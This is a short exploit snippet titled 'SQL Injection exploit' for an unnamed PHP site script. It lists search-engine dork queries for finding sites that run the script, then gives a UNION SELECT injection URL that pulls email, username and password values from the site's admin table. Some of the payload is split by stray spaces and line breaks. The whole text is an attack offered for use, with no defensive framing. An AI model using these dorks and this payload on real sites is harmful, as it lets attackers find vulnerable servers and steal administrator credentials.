SQL Injection exploit
allinurl: "index php go buy"
allinurl: "index.php?go=sell"
allinurl: "index php go linkdir"
allinurl: "index.php?go=resource_center"
allinurl: "resource_center.html"
allinurl: "index.php?go=properties"
allinurl: "index.php?go=register"
/index.php?go=detail&id=-99999/**/union/**/select/**/0,0,0,0,0,0,0,0,0,0,0x7c,email,0x3a,concat(usernam e,0x3a,password),1,1,1,1,1,1,2
,2,2,2,2/**/from/* */admin/*where,limit,2--
|